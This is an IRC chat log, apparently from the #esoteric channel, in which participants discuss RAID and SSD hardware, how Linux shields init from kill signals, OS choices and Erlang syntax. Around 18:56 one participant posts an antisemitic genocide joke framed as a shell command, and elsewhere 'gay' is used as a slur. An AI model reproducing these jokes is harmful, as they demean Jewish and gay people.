ib_opt_init_mem 18:33:28 is what I have currently 18:33:34 sorry for indention mess up when pasting 18:33:51 and there are missing passes 18:34:35 like loop->if and polynomiser. That is because the loop access analyser needs more work. 18:34:37 AnMaster: ok, so you don't need the special case 18:34:38 because 18:34:40 they ARE different 18:34:45 otherwise the combiner would have got them 18:34:47 and merged them away 18:35:05 ehird, only if they were directly after each other at that stage. 18:35:15 well, true 18:35:19 * ehird shrug 18:36:22 decompiling sadol to mid-level C would be cool ;d 18:36:48 Sweet! By RAID-0ing two X25-M 80GB disks, I can get the RAID-0 performance improvements and also save one cent. 18:36:51 (over the 160GB) 18:37:00 Of course, I'm leery of software RAID... 18:39:09 -!- tombom_ has quit ("Peace and Protection 4.22.2"). 18:40:29 ehird, one cent? hahah 18:40:34 yep! 18:40:41 two 80s: $629.98 18:40:45 a 160: $629.99 18:40:52 who says you can't have your eat and cake it too? 18:41:56 AnMaster: Today on Marketdroid Channel: 18:42:12 ? 18:42:12 "Super RAID-0 performance, only $-0.01!" 18:42:15 hah 18:42:34 ehird, software RAID puts a larger load on the CPU though 18:42:36 ofc, two drives are more likely to fail than one, but it doesn't exactly matter too much if an OS drive fails 18:42:43 AnMaster: isn't it very minimal for RAID-0? 18:42:52 ehird, Not sure 18:42:56 AnMaster: besides, iirc some mobos have onboard RAID nowadays 18:43:00 it'll be crappy, but enough for RAID-0 18:43:12 after all, RAID-0 isn't even redundant! 18:43:55 some? 18:44:03 I thought most had it for years 18:44:10 well, I wasn't too sure 18:44:11 but yeah 18:44:27 both mine and my old one have/had it. Yet both only have/had 2 ram slots. 18:44:35 you always tie shit in :-) 18:44:40 tie? 18:44:47 yes? 18:45:07 in fact. change that question to be for the whole line 18:45:12 it didn't make any sense to me 18:45:20 AnMaster: to "tie foo in" is to make a roundabout conversation path to make reference to foo when the topic isn't really related 18:45:22 each word did, just not the whole 18:45:23 in this case, at least 18:45:29 ah 18:45:30 it's more generic than that, but that's what it means in this context 18:45:43 aha 18:45:53 -!- jix_ has joined. 18:46:34 question about sata 18:46:46 it's synchronous, isn't it? 18:46:54 that is, only one request at a time 18:48:48 what's typedef foo bar, baz; ? 18:48:59 nooga: invalid? 18:49:01 or 18:49:04 typedef foo as both bar and ba 18:49:04 z 18:49:06 that is bar = foo 18:49:08 and baz = foo 18:49:11 hm 18:49:18 AnMaster: apparently onboard raid is just software raid. 18:49:21 it's in WinNT.h :D 18:49:24 chromakode: Timezones! Tiiiimezones! :P 18:49:35 GregorR: wait, how can you know chromakode IRL if different timezones 18:49:38 ehird, then why "on board" 18:49:40 MS specific? 18:49:42 * ehird 's blinds mown 18:49:43 hm 18:49:45 nooga: dunno 18:49:49 AnMaster: i don't know 18:49:53 maybe it has a mini processor doing it 18:49:54 or something 18:50:02 * ehird looks for a cheap raid card on newegg 18:50:17 ehird, actually I have a BIOS menu for the RAID. But the manual says it needs Windows 2000, XP or Vista 18:50:20 ehird: We know each other from undergrad, now he's still in undergrad and I'm in grad school. 18:50:31 ehird: Although, I just realized that the problem wasn't timezones, but that I was on a plane :P 18:50:34 GregorR: MATHEMATICALLY SUPERIOR TO CHROMAKODE 18:50:49 We were not the same grade :P 18:50:57 MATHEMATICALLY! 18:51:25 ehird, if you want multiple pending requests to drive you want SCSI, SAS or Firewire iirc. 18:51:36 (but don't quote me on that!) 18:51:37 hey, a raid 0/1/jbod controller with 61 reviews @ 5 eggs for $139.99, looks promis— FUCK IT'S SATA 1 18:51:43 Well, Gregor is now in Oregon again. l'vacation. 18:51:46 and regular pci, wowz. 18:52:09 hey, a raid 0/1/jbod controller with 61 reviews @ 5 eggs for $139.99, looks promis— FUCK IT'S SATA 1 <-- yes, they make RAID cards iirc. 18:52:17 18:52:26 AnMaster: Wat? 18:53:20 Home > Computer Hardware > Hard Drives > Controllers / RAID Cards > Type[SATA ],Type[SATA / IDE ],Internal Connectors[4 x SATA II ],Internal Connectors[8 x SATA II ],Internal Connectors[16x SATA II ],Internal Connectors[12x SATA II ],Type[SATA II ],Internal Connectors[2 x SATA II ],Internal Connectors[1 x SATA II ],External Ports[8 x SATA II ],External Ports[2 x SATA II ],External Ports[4 x SATA II ],Type[SATA / SAS (Serial Attached SCSI) ],Internal Con 18:53:23 nectors[24 x SATA II ],Internal Connectors[2 x SATA II + 1 x ATA 133 ], returned 3 results. 18:53:24 ehird, "promis—" --> "Promise SuperTrak EX Series support (SCSI_STEX)" 18:53:26 it looks like mathematica code. 18:53:26 that 18:53:29 AnMaster: *groan* 18:53:32 that's just awful,. 18:53:33 *. 18:53:38 ehird, I said it was! 18:53:54 i know but 18:53:55 it's so awful 18:53:59 I'm going to have to kill you 18:54:01 sry 18:54:05 ehird, no 18:54:07 * ehird kills AnMaster 18:54:14 i wish it didn't come to this 18:54:15 i really did 18:54:17 *do 18:54:18 that doesn't work 18:54:20 LEAST DRAMATIC SLAYING EVER 18:54:23 how did you kill 18:54:25 ... 18:54:44 ehird, ^ 18:55:15 it isn't valid if you don't list how you kill :P 18:55:19 GregorR: i know 18:55:40 GregorR: it's like 18:55:52 GregorR: a gun's silencer right? 18:55:55 this is a dramatic silencer 18:55:59 for all kinds of kill types 18:56:01 very hi-tech 18:56:09 Including kill -9 18:56:15 yes, exactly 18:56:16 you do 18:56:20 $ killall -9 jews 18:56:21 and it goes 18:56:22 except I deflected the bullet 18:56:24 so it didn't work 18:56:28 * hitler does some killing 18:56:30 AnMaster: who said bullet 18:56:33 this is a dramatic silencer 18:56:36 it works on all types of kill 18:56:44 ehird, well how did you kill then 18:56:50 I asked you and you didn't reply 18:56:56 I remember a "management utility" that represented all of your processes as monsters in IIRC the Doom engine. 18:57:01 if I told you I'd have wasted the $7,000 I spent on the dramatic silencer! 18:57:04 GregorR: yep 18:57:06 Silencer? 18:57:11 http://www.cs.unm.edu/~dlchao/flake/doom/ 18:57:12 Must be > /dev/null 18:57:17 ehird, um. The kill doesn't work without a reason on IRC 18:57:18 sorry 18:57:22 AnMaster: that 18:57:28 's what it was like before dramatic silencers 18:57:31 this is a whole new world now 18:57:41 A whole new wooooooooooooooooooorld *song* 18:57:47 -!- jix has quit (Read error: 110 (Connection timed out)). 18:58:05 ehird, good thing I got heavy armour then. Bullet proof. 18:58:27 who said I shot you 18:58:36 ehird, " http://www.cs.unm.edu/~dlchao/flake/doom/ AnMaster: that" 18:58:41 you did 18:58:41 err 18:58:44 18:56 GregorR: I remember a "management utility" that represented all of your processes as monsters in IIRC the Doom engine. 18:58:50 i meant to highlight GregorR 18:58:56 no 18:58:56 wait 18:59:00 18:57 ehird: AnMaster: that 18:59:00 18:57 ehird: 's what it was like before dramatic silencers 18:59:02 AnMaster: 18:59:06 it was a mis-enter 18:59:10 ehird, so the kill is invalid 18:59:14 ... what 19:00:08 you can't just kill, you have to kill with something, like a weapon, or blunt trauma (possibly fist) 19:00:12 or whatever 19:00:18 dramatic silencer. 19:00:22 ehird, not valid. 19:00:24 keep up with the new irc tech. 19:00:44 AnMaster: and creating your own fire poker as a magical oerjan-style weapon out of the blue is invalid too, but you insisted it worked :) 19:01:15 ehird, a silencer itself can't kill, unless you you use it as a blunt weapon, throwing it against the victim or using it to bash the victim or whatever. 19:01:33 AnMaster: you misunderstand 19:01:37 a silencer silences the sound of a gun 19:01:41 yep 19:01:43 I know that 19:01:46 a dramatic silencer silences the record of any kill whatsoever on IRC 19:01:47 wapon is gay 19:01:57 it cost me $7k, dammit. 19:01:57 gentlemans use word 19:02:04 Wapon is gay. 19:02:05 Deep. 19:02:26 ehird, they recalled them. Didn't you know? Because it turned out they not only silenced the kill, they made it never happen. 19:02:28 Bad luck. 19:02:39 No they didn't. ← assertion technology 19:03:24 SYBA SD-LP-PEX2IR PCI Express SATA II Controller Card - Retail 19:03:25 Internal Connectors: 2 x SATA II 19:03:26 RAID: Supported Raid 0, 1 (optional) Raid 10, 5 are supported, if drives are connected to a Port Multiplier 19:03:29 Assertion failed: " No they didn't. ← assertion technology" in channel "#esoteric". 19:03:29 $18.99 19:03:31 ↑ yay 19:03:44 bbk 19:03:44 ehird: I am not deep. 19:03:46 bbl* 19:07:30 http://www.newegg.com/Product/Product.aspx?Item=N82E16816103105 ah, this looks nice 19:07:50 at http://www.cs.unm.edu/~dlchao/flake/doom/ what is the "BFG" mentioned 19:07:54 I have never played doom 19:08:04 AnMaster: the Big Fucking Gun. 19:08:06 Weapon number 7, the most powerful in the game. 19:08:07 It shoots giant gobs of plasma. 19:08:23 ehird, um. That sounds like a god mode weapon? 19:08:28 with that name too 19:08:37 AnMaster: It doesn't kill everything in one shot, iirc, but it's damn powerful. 19:08:41 ah 19:08:43 Of course, it's hard to get. 19:08:48 Well, relatively. 19:08:50 No, it doesn't. 19:08:56 right 19:08:58 And yes, relatively. 19:09:00 :-P 19:09:08 the "hard to get" like "you can only get it after the boss you would have needed it against" hard? 19:09:21 No. Not that hard. 19:09:24 ah 19:09:24 AnMaster: it also has limited ammo. 19:09:40 Vanilla Doom is so easy, you don't need it at all :-P 19:09:51 I can't think of any shooting weapon that would have infinite ammo 19:09:55 at least not in real life 19:10:05 ... I can't think of anything infinite IRL apart from the universe. 19:10:34 ehird, um we don't know that iirc. It could be "huge but finite" iirc 19:10:49 We don't "know" anything. 19:10:56 but I'm no expert on topology. 19:11:47 ehird, I'm using the word "know" here as in: "the evidence is inconclusive, more research needed" 19:12:07 which is a gross misuse of the exact meaning of "know" indeed! 19:12:18 Things I know: 19:12:20 true 19:12:43 and even that's with the caveat "... as long as there aren't contradictions" 19:12:43 that's all? 19:12:49 heh 19:15:17 that doom process interface... The implementation has some major of issues (like processes attacking the sysadmin; though it isn't clear if they only attack in self defence). But with some work I think it could actually work! 19:16:20 It'd work best on a fun server where everyone is a sysadmin. 19:16:36 Mutually untrusting sysadmins is a huge problem on a non-play system. 19:16:38 ehird, believe me, co-admining a server is messy enough! 19:16:40 -!- fizzie has joined. 19:16:49 even with trust 19:16:59 Geeks aren't the most sociable 19:17:03 people trying to solve the issue at the same time, from different parts of the world 19:17:25 Hmfh. Seems that orwell.freenode.net's (the FI server) not even trying to get back online. 19:17:58 anyway: there are some processes that must never be killed, no matter what. Examples: init. the fake processes of the kernel, possibly syslog. 19:18:10 brb phone 19:18:29 what happens if you kill init? 19:19:33 "Kernel panic: Attempted to kill init!" At least I've seen something like that. 19:20:05 So have I, but only when booting 19:20:24 I wonder if the message is accurate and it triggers on the attempt, and thus init is immortal 19:20:36 "Note that 'init' is a special process: it doesn't get signals it doesn't want to handle. Thus you cannot kill init even with a SIGKILL even by mistake." 19:20:52 Aye, thought something of the kind. 19:20:53 That's in arch/{a,lot,of,things}/signal.c. 19:21:04 fizzie: Mommy says I'm speshul and don't need to listen to angry signals I don't wanna 19:21:14 Killing init is like dividing by zero. 19:21:44 # kill -9 init 19:21:50 zsh: floating point exception kill 19:21:56 Deewiant: Indeed it is. 19:22:05 :-D 19:22:19 In Soviet Linux, init kills you! 19:22:21 You get printk(KERN_WARNING "tried to kill init!\n"); if the OOM killer attempts accidentally to kill init. 19:22:39 Deewiant: Set up a division by zero handler that tries to kill init 19:22:45 If we can try one impossible thing, might as well try another. 19:23:05 You'll end up with something like http://halshop.files.wordpress.com/2007/03/phpw9jvl0pm.jpg 19:23:27 Inside that tunnel... init lurks. 19:23:48 Process (1/0) is init. 19:25:03 kill -9 1 indeed completes successfully but init duly ignores it. 19:25:18 More OOM killer code: p->rt.time_slice = HZ; set_tsk_thread_flag(p, TIF_MEMDIE); /* We give our sacrificial lamb high priority and access to all the memory it needs. That way it should be able to exit() and clear out its resources quickly... */ 19:25:29 ... wait. 19:25:35 the OOM killer gives its victim full access? 19:25:37 LOLWAT ^_^ 19:25:50 That's immediately before force_sig(SIGKILL, p); 19:26:05 So there's not much you can do with your high priority there. 19:26:09 Damn that OOM's one sadistic bitch. 19:35:15 -!- psygnisfive has quit (Remote closed the connection). 19:38:46 -!- bsmntbombdood has joined. 19:42:36 having 4 cores is fun 19:44:13 bsmntbombdood: you disabled ht eh :P 19:44:24 bsmntbombdood: is that thing running smoothly? What OS? FreeBSD? 19:44:25 no 19:44:32 freebsd right now 19:44:33 -!- fungot has joined. 19:44:36 i'm frustrated with it 19:44:42 coulda told you so 19:44:45 but why? 19:45:03 the most recent version of ion in ports or packages? from 2002 19:45:43 well, you can't ship later than $time_tuomov_adopted_crackheaded_license_forcing_them_to_update_it_4eva 19:45:47 but that was post-2002 19:45:55 now switch over to the archside >:) 19:48:01 "Linux has a NAZI theme--darwin evolution konquer. People who obsess on evolution are sick in the head. They all want to kill-off dumb people. " 19:48:55 what does darwin have to do with linux? 19:49:07 nothing whatsoever! 19:49:20 it's by the weirdo who made this shitOS: http://www.losethos.com/v506.html 19:49:26 it only runs in 64 bit real mode and you can only use 16 colours 19:49:29 and it comes with a bible application 19:49:44 quote from http://www.reddit.com/r/programming/comments/8kgvj/losethos_64bit_operating_system_v506_released_not/ 19:50:23 this is a lot of ram 19:50:29 bsmntbombdood: 12GB? 19:50:32 yes, that is a lot of ram 19:50:32 yes 19:50:36 your point? :-P 19:51:25 so i am running sort /dev/urandom for fun 19:51:39 bsmntbombdood: write a program that uses 4 threads to sort /dev/urandom 19:51:48 well, 8 if you're using crappythreading ;)))))) 19:52:08 run the same thing two times in a row - wall clock time the first run was 43.01 seconds, the second run was 43.02 seconds 19:52:36 bsmntbombdood: that's just your computer becoming obsolete. 19:52:42 little known fact is that they actually do this actively 19:52:47 your computer really was faster when you first bought it 19:53:01 love shack nananana 19:53:03 bsmntbombdood: what's your cpu/ram/disk usages? 19:53:11 my hdd usage is 1GB/h 19:53:18 what do you mean? 19:53:49 bsmntbombdood: er... what % of cpu (up to 800%) is used, how much ram is used, and what does df -h give 19:54:00 i'm curious as to how much waste there is :-P 19:54:08 top isn't reporting cpu usage like that 19:54:18 tell it to 19:54:20 ehird: http://rafb.net/p/XzzZgG24.html 19:54:24 or sth 19:54:28 with 8 threads running, cpu usage is 100%, load average is 8 19:54:28 bsmntbombdood: is it reporting 8 sep counts 19:54:35 AnMaster: too rafb.net; didn't use 19:54:43 bsmntbombdood: ah. I meant without the crazy sort :-P 19:54:43 ehird, your loss. 19:54:48 *read 19:56:09 for each proccess it reports of percentage of the cpu it's running on 19:56:21 bsmntbombdood: i meant systemwide usage 19:56:31 CPU usage: 7.11% user, 8.00% sys, 84.89% idle 19:57:03 CPU: 0.3% user, 0.0% nice, 0.1% system, 0.0% interrupt, 99.5% idle 19:57:07 not doing anything right now obviously 19:57:32 -!- fungot has quit (anthony.freenode.net irc.freenode.net). 19:58:11 bsmntbombdood: what about memory? 19:58:28 (does bsd have free(1)? My system doesn't) 19:58:56 it doesn't 19:59:00 There's a memory usage report in top, though. 19:59:03 IIRC, anyway. 19:59:10 Mem: 118M Active, 419M Inact, 490M Wired, 2356K Cache, 399M Buf, 11G Free 19:59:15 fizzie: right, but does it include the "The system is reserving gigantic amounts of RAM for its nefarious purposes" 19:59:23 i'm not sure what active, intact or wired means 19:59:40 bsmntbombdood: so 0.1GB out of 12GB 19:59:41 :-P 19:59:51 (w/ 0.5GB or so reserved by the OS) 20:00:04 bsmntbombdood: how loud's it? (Since I'm getting a similar system...) 20:00:17 stock cooler is pretty loud 20:00:28 not surprised 20:00:34 htop on the university shell server says: 5348/62807MB; that's also rather a small percentage out of an absurd value. 20:00:55 but effective, mbmon says 35 degrees idle and 59 loaded 20:01:01 nice 20:01:29 you can get an i7 heastink/fan combination that's pretty silent and cools well for ~$45, iirc, but ofc that's only reasonable if it's bugging you 20:01:36 but 35 degrees idle is niice 20:01:48 and the psu i think is making a high pitched whine 20:02:04 i skimped a bit on the psu to get it in a case deal, sry 20:02:12 apparently cheap psus whine like that 20:02:18 meh, it had good reviews 20:02:41 According to 'sensors' this Athlon-X2 I have has a motherboard temperature of 39 degrees, CPU temperature of 30 degrees; while the on-CPU thermometers say 34 degrees for core 1, 36 for core 2. Not quite sure which one to believe. 20:03:29 can you measure ram temperature with anything? 20:03:44 the graphics card heatsink is really hot 20:04:00 bsmntbombdood: it's a cheap passive card... you said you didn't care about gfx cards :p 20:04:06 didn't know it was hot, though 20:04:11 oh god 20:04:17 getc finished, backspace improved... 20:04:20 ...(but not yet complete) 20:04:38 and the ram is relatively cool to the touch 20:04:46 didn't mean your ram :p 20:04:55 I was just asking anyone if there was a program to look at ram temps 20:05:01 One of my cheap-ish passive cards (7600GT/8600GT) gets really hot too. Both have rather hueg heatsinks. 20:05:11 but yeah, your ram is just a regulary ddr3 thing so it should run cool 20:06:29 and this hard drive isn't working 20:06:48 bsmntbombdood: which one 20:06:52 media or ssd? 20:06:58 the ssd is fine 20:07:20 but the media one? 20:07:29 doesn't work 20:07:33 doesn't show up in the bios 20:07:41 did you plug it in properly :p 20:08:03 .../ 20:08:28 .......................... 20:08:58 There's a Logitech "gaming keyboard" (the G19) which has a 320x240 color LCD you can watch youtube stuff on; approximately half of the net-reviews say the keyboard's running some sort of a Linux-based embedded thing, but there are no details anywhere about how it actually works. It does have an external power brick, though. (But it also has an active-powered USB hub, so there.) 20:09:31 -!- Sgeo has joined. 20:09:36 fizzie: Now that was non-sequitur! 20:09:45 Hey, it's still about hardware. 20:09:52 Toasters. 20:12:02 -!- bsmntbombdood has quit ("Lost terminal"). 20:19:05 -!- asiekierka has quit. 20:20:21 -!- bsmntbombdood has joined. 20:20:27 yeah pretty sure hdd is dead 20:20:46 bsmntbombdood: tell newegg :P 20:21:01 obviously 20:21:47 firefox starts up like *snaps fingers* that 20:21:58 that's what i7, DDR3 and SSD will do to you. 20:22:07 RAVAGE YOUR INSIDES 20:22:18 it actually powers the application startup by sipping your soul… 20:22:33 bsmntbombdood: start 50 firefoxes 20:23:49 wtf, don't even have seq 20:23:56 BSD userland is barren 20:24:35 * ehird shoves ftp://ftp.archlinux.org/iso/2009.02/archlinux-2009.02-ftp-x86_64.iso.torrent into bsmntbombdood's CD drive 20:24:51 lol 20:24:56 i already downloaded a debian iso 20:25:04 bsmntbombdood: debian stable? 20:25:07 enjoy your obsolescence 20:25:22 no, testing 20:25:38 testing didn't even have ext4 stable last I checked 20:25:45 tha's pretty old 20:27:14 bsmntbombdood: arch has ion3 20090110 20:27:24 :p 20:27:28 lol 20:28:05 good lord this person i'm talking to at newegg is either dumb, busy, or a really slow typer 20:28:12 Debian has "20090110-1" too. 20:28:23 Debian's 20090110 is older than Arch's. 20:28:23 Though in non-free only. 20:28:27 By pure law of nature. 20:28:41 bsmntbombdood: the debian cd you downloaded was 64bit right 20:29:06 fizzie: what version of xorg does debian have? 20:29:14 ehird: no, i'm gonna run 32 bi 20:29:19 bsmntbombdood: erm 20:29:20 with 12GB? 20:29:24 lollllllllll 20:29:33 bsmntbombdood: i guess you only want to use 4gb of it 20:29:34 Current debian-installer daily build has kernel 2.6.29-1-amd64, so I guess it should do ext4 just fine. 20:29:35 right? 20:29:43 -!- nooga has quit ("Leaving..."). 20:29:46 have fun then 20:30:27 bsmntbombdood: seriously, what? 20:30:34 32-bit os with 12gb of ram? 20:30:53 that's just the ridiculust thing I ever heard. 20:30:54 yeah, 64 bit is gay 20:31:03 * ehird facepalm 20:31:38 bsmntbombdood: you'll really regret it 20:31:41 I don't know anything about xorg versioning; as far as I know Debian-unstable doesn't follow the most bleeding-edgeist stuff there, though. xserver-xorg-core is "1.6.1", whatever it means, and xorg itself is "7.4". 20:31:55 please return your sarcasm detector to the manufacturer for a tune up 20:32:02 bsmntbombdood: oh. 20:32:03 oh 20:32:05 ah. oh. 20:32:23 (set! (embarrassment-level ehird) infinity) 20:32:30 in my defense, there are people that stupid in the world. 20:32:48 i dunno, with pae it wouldn't be that outrageuous 20:33:11 You don't get single huge process images, though. 20:33:55 yeah, you'd have to split up any large computation 20:33:57 into processes 20:34:00 which is ridiculous 20:34:21 you have to do that anyway with 4 cores 20:34:27 itt: threads 20:35:18 bsmntbombdood: btw, if you're gonna wipe the ssd to install $OS, use a tool to ATA SECURE ERASE it 20:35:28 since otherwise the blocks from the old install will stay 20:35:56 CAN I DD IF=/DEV/ZERO ? 20:36:00 err 20:36:03 bsmntbombdood: no 20:36:08 i haven't remaped caps lock yet 20:36:08 ATA SECURE ERASE is different 20:36:11 you need to use a boot disk 20:36:34 bsmntbombdood: i think intel point to a tool to do it 20:36:36 lemme look it up 20:37:08 -!- puzzlet_ has quit (Remote closed the connection). 20:37:13 -!- puzzlet has joined. 20:37:59 ...this customer service rep wished me an "eggcellent day" 20:38:00 wtf 20:38:09 ... 20:38:10 :-DDDDDDDD 20:38:49 bsmntbombdood: looking up that eraser thingy 20:38:52 easier than i thought to get them to replace it though 20:39:27 bsmntbombdood: btw, if you're installing linux... do the align thing, srsly 20:39:33 it's just a few commands and installing to LVM 20:40:12 If you are doing a clean setup of your machine and want to restore your drive to its native state you’ll have to perform a secure erase. Intel distributed a tool with the first X25-M review kits called HDD ERASE. This tool will take any SSD and free every last page on the drive. Obviously you’ll lose all of your data but your drive will be super fast again! 20:40:15 In order for HDDERASE to work you need to have your SATA controller running in Legacy IDE mode, you can select this in your BIOS. Your drive will have to be connected to one of the first four SATA ports off of the controller. 20:40:59 bsmntbombdood: Step one: make DOS bootdisk. Step two: Turn on legacy IDE shit in your BIOS. Step three: http://cmrr.ucsd.edu/people/Hughes/HDDEraseWeb.zip 20:41:21 hdparm has a "--security-erase" flag nowadays. 20:41:37 fizzie: does that just overwrite many times 20:41:39 ATA SECURE ERASE 20:41:41 is a very specific command 20:41:44 iirc 20:41:58 It's under "ATA Security Feature Set", I would hope that's what it does. 20:42:05 Hmm. 20:42:13 Well, you'd need to boot from a livecd anyway to do it. 20:42:42 Sure, and the hdparm flag is "EXPERIMENTAL AND NOT WELL TESTED. USE AT YOUR OWN RISK." 20:43:00 You might, for example, lose all your data. :p 20:43:07 :-D 20:50:26 Shouldn't look at the smartctl info, it makes me paranoidishically worrysome about the numbers I don't know how to interpret. 20:50:34 dos bootdisk? 20:50:36 fuck that 20:51:48 Well, the http://www.ultimatebootcd.com/ has hdderase included by default. 20:53:42 bsmntbombdood: i like how you'll spent $1.7k on a top-o'-the-range computer and then refuse to spend 5 minutes maintaining it :D 20:55:27 I'm not quite sure why you'd exactly have to wipe the disk, though; unless it's some sort of religious "this disk still smells like freebsd even though I made new filesystems" thing. 20:55:40 fizzie: it's how SSDs work 20:55:48 they try desperately not to reuse a block 20:56:02 and when they have no blocks left, have to do the 2ms or so rewriting process on a write 20:56:13 so you have to erase it totally to get back the blocks 20:56:34 ATA TRIM support in OSes can help, but isn't really anywhere yet 20:58:50 brb 21:01:38 -!- puzzlet_ has joined. 21:03:22 ehird, http://pastebin.com/d5f49c085 21:10:14 what I'm going to do is write a "kind of DSL" to do it. Basically a function taking pairs, which can return: false | {true, TranslatorFunction} | {sort, [Field, ...], [{Field,Field}, ...]} 21:10:25 and possibly some other variants 21:13:59 this case is suprisingly decent for the price 21:14:20 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 21:17:06 ok i am going to install debian now 21:19:17 -!- bsmntbombdood has quit (Remote closed the connection). 21:20:54 no! you must resist! 21:31:01 back 21:31:10 also, eurgh debian 21:31:14 why did i help him :^) 21:32:35 those debian users! 21:32:51 yeah I even offered him Arch 21:32:58 I am one of them, most regretfully. I '$ cut' my files every day in remorse 21:33:14 Gracenotes: I remember that Dasher screenshot you gave... that was the Ubuntu theme. 21:33:23 SPREADING A BIT OF DISINFORMATION ARE WE? 21:34:03 personally, I use my favorite operating system, UIND 21:34:15 I use Anonix. 21:34:32 Ubuntu is Not Debian 21:34:32 ehird, did you look at that link? 21:34:36 AnMaster: yes 21:34:41 ehird, any comments? 21:34:42 it seems logical 21:35:02 ehird, a single trivial rule won't solve that is my point 21:35:09 Gracenotes: what's that OS that the crazy jap was posting about on /prog/ saying other OSes were whores and tools and this OS was a human 21:35:14 because I used that before Anonix. 21:35:41 -!- impomatic has joined. 21:35:47 Hi :-) 21:35:57 hi 21:36:22 "At Railsconf 2009 the guys over at Phusion released Rubystein, a Wolfenstein clone written in Ruby." 21:36:26 The epitome of Ruby's speed. 21:36:32 Wolfenstein 3D. 21:37:11 Ah, not the original? 21:37:26 The original was written by the same guy who did RobotWar 21:37:41 impomatic: I refer to http://en.wikipedia.org/wiki/Wolfenstein_3D 21:37:48 Someone ported it to Ruby, which is funny because Ruby is slow. 21:38:52 impomatic: he didn't do robotwar 21:38:55 he just ported it to the apple II 21:39:07 "Warner died in March 2004 after a long battle with kidney disease." 21:39:22 ehird, http://pastebin.com/d7f374825 21:39:40 I can't read Erlang. 21:40:15 I thought he wrote the original, and ported it? 21:40:25 Yes, he did. 21:40:29 hmm 21:40:29 oki 21:40:30 As well as the sequel. 21:40:45 ah 21:40:46 yep 21:40:50 Warner was a major contributor to the early PLATO system in not just the area of gaming but also as an educational content developer. RobotWar and its editor program RobotWrite originated on the PLATO system in the 1970s. This 21:40:57 ehird, that is quite a trivial subset: [foo] [foo, bar] are lists, {a,b} is a 2-tuple, {a,b,c} is a 3-tuple. Foo is a variable, foo is an atom. _ means "match anything" 21:41:03 Which is the sequel? 21:41:08 i know, I just can't follow the logic, AnMaster 21:41:15 AnMaster: What's a | b 21:41:16 ehird, fair enough. 21:41:25 Deewiant, "Some other parts is not valid erlang syntax either" 21:41:26 :P 21:41:32 AnMaster: write it in haskell... same for lists... (a,b) is a tuple, foo is a variable, "foo" is an atom, _ means match anything >:) 21:41:37 mwaha 21:41:43 AnMaster: I don't care, but what did you mean with it :-P 21:41:50 Deewiant, I need to translate it to foo(Ins, _) when Ins = foo; Ins = bar 21:41:51 or such 21:41:55 where ; is "or" 21:42:07 Deewiant, so it is regex style | 21:42:22 Deewiant, and it is the syntax used in erlang -type and -spec specifications 21:42:24 Short answer: it's "or". 21:42:34 :-) 21:42:41 Deewiant, that would be correct yes 21:42:54 I want to learn how to program the C-64's SID chip. 21:42:55 -!- tombom_ has joined. 21:43:01 Then do so. 21:43:08 I don't know where to start :-) 21:43:10 * ehird googols 21:43:22 Nope, just a bunch of archives. 21:43:59 -!- OoS has joined. 21:44:28 Have a look at http://web.archive.org/web/20070513193613/http://stud4.tuwien.ac.at/~e9426444/ for instance. 21:44:40 ehird, can a function have multiple entry points in haskell? LIke this set of pattern matching entry points used here. 21:44:44 Yes3 21:44:46 *Yes. 21:44:51 Although it's not "entry point". 21:45:07 ehird, sure, names may differ. 21:45:13 AnMaster: Also, rather than using "foo" for an atom, you could do data MyStuff = AnAtom | AnotherAtom Int | Foo 21:45:23 where the Int is like passing {anotherAtom,3} in erlang 21:45:29 (matched as (AnotherAtom x)) 21:45:44 Deewiant: that's more reference than tutorial 21:45:53 Ett fel uppstod vid laddning av http://web.archive.org/web/20070513193613/http://stud4.tuwien.ac.at/~e9426444/: 21:45:53 Timeout på server 21:45:53 Anslutningen var till web.archive.org på port 80 21:45:55 Deewiant, ^ 21:45:56 Tutorials are for wusses 21:46:14 AnMaster: And? 21:46:19 is web archive down? 21:46:28 Not when I posted that it wasn't 21:46:34 It's up. 21:46:39 ah now it works again. But slow 21:46:40 AnMaster: It's our revenge for .se having google. 21:46:45 slower than ususal 21:46:51 ehird, damn, you stole my next comment! 21:47:11 Web archive is slow here too. I've been searching for Programming Game stuff on there. 21:47:28 OoS, it is *always* slow. Just usually not _this_ slow 21:49:43 I've been going through the list of programming games at http://aiforge.net trying to archive the stuff which hasn't disappeared yet. I hate linkrot. 21:56:35 "Handle it like nuclear waste! (i.e. with forks)" 21:59:55 -!- tombom has quit (Read error: 110 (Connection timed out)). 21:59:56 -!- tombom_ has changed nick to tombom. 22:04:10 -!- impomatic has quit (Read error: 110 (Connection timed out)). 22:23:01 -!- FireFly has quit ("Later"). 22:30:07 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:41:56 -!- ais523 has joined. 22:43:40 hi ais523 22:43:42 -!- kerlo has quit (anthony.freenode.net irc.freenode.net). 22:45:09 -!- kerlo has joined. 22:45:11 hi ehird 22:46:08 -!- OoS has changed nick to impomatic. 22:55:45 ehird: The same programming reference book I linked to has the SID waveforms and registers and such described. 22:55:57 right; there's lots of references 22:56:08 but not tutorials 22:56:19 Tutorials are for people who can't read references. :p 22:56:24 :) 23:02:54 ehird: you know earlier today you were talking about Google being down/slow, and I was talking about Internet politics? 23:02:59 yes 23:03:00 according to Slashdot, the two are linked 23:03:09 Did Netcraft confirm it? 23:03:12 it seems someone screwed up the routing rules at Google 23:03:17 and it tried to route all its traffic via Asia 23:03:19 fizzie: what was that comic with the army-of-wangs-stalking-nightmares thing? 23:03:22 ais523: :-D 23:03:59 ehird: Google confirms it: http://googleblog.blogspot.com/2009/05/this-is-your-pilot-speaking-now-about.html 23:04:18 :D 23:05:48 this reminds me of how Pakistan accidentally blackholed YouTube a while back, while just trying to block it within the country 23:06:00 Founddit. 23:06:02 really, I'm not at all sure that managing the AS connections by hand is a good idea 23:06:32 good thing an AS number is 16-bit, so there can only be about 65000 of the things messing up at most 23:07:05 how comforting 23:07:20 slightly less because some of them are private use 23:07:27 and 0 is reserved 23:07:31 * ais523 idly wonders who's AS 1 23:07:48 Ooh, slashdot reports that the Radeon HD 4890 has been clocked to 1GHz. 23:07:54 How deliciously excessiv. 23:07:54 e 23:08:09 lThere are 32-bit AS numbers, IIRC. 23:08:26 heh: http://www.ripe.net/ripe/docs/asnrequestform.html 23:08:31 And there's a link to SPCR in the comments! How homely. 23:08:35 that form scares me on about 3 levels 23:08:42 ais523: why? 23:08:45 no, four 23:08:51 ais523: http://www.iana.org/assignments/as-numbers/ 23:08:57 As of 1 January 2009, the RIPE NCC began assigning 32-bit (or four-byte) Autonomous System Numbers (ASNs) by default. This is in accordance with a common policy agreed on in all Regional Internet Registry (RIR) communities and described in the RIPE Document, Autonomous System (AS) Number 